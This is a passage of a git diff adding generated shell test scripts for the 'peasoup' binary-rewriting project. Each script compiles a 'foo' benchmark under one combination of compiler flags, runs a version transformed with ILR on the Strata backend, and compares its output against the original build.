+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O2       -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.no_pic.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.no_pic.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..f1b36e98a2bcf827ea1e02ce187cf807e4d25b81
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.no_pic.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O2       -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O2       -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.-fPIC.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.-fPIC.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..66d1e565810c89d5524f3bb585ea2b1e26fa90c5
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.-fPIC.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O3 -fPIC -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O3 -fPIC -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.-fPIC.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.-fPIC.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..47c0bbadb004424236a59cf89c692a6f9142487b
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.-fPIC.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O3 -fPIC -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O3 -fPIC -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..43c5e205ad5142147866659897155cbe018aef9f
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O3 -fPIC -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O3 -fPIC -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..dcc49b2d43ff6bcd8d0fc500ddb89c28fb96f6e6
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O3 -fPIC -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O3 -fPIC -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.-fPIC.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.-fPIC.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..ea559e12024edbca569530c7060b0c49eb007630
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.-fPIC.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O3 -fPIC   -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O3 -fPIC   -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
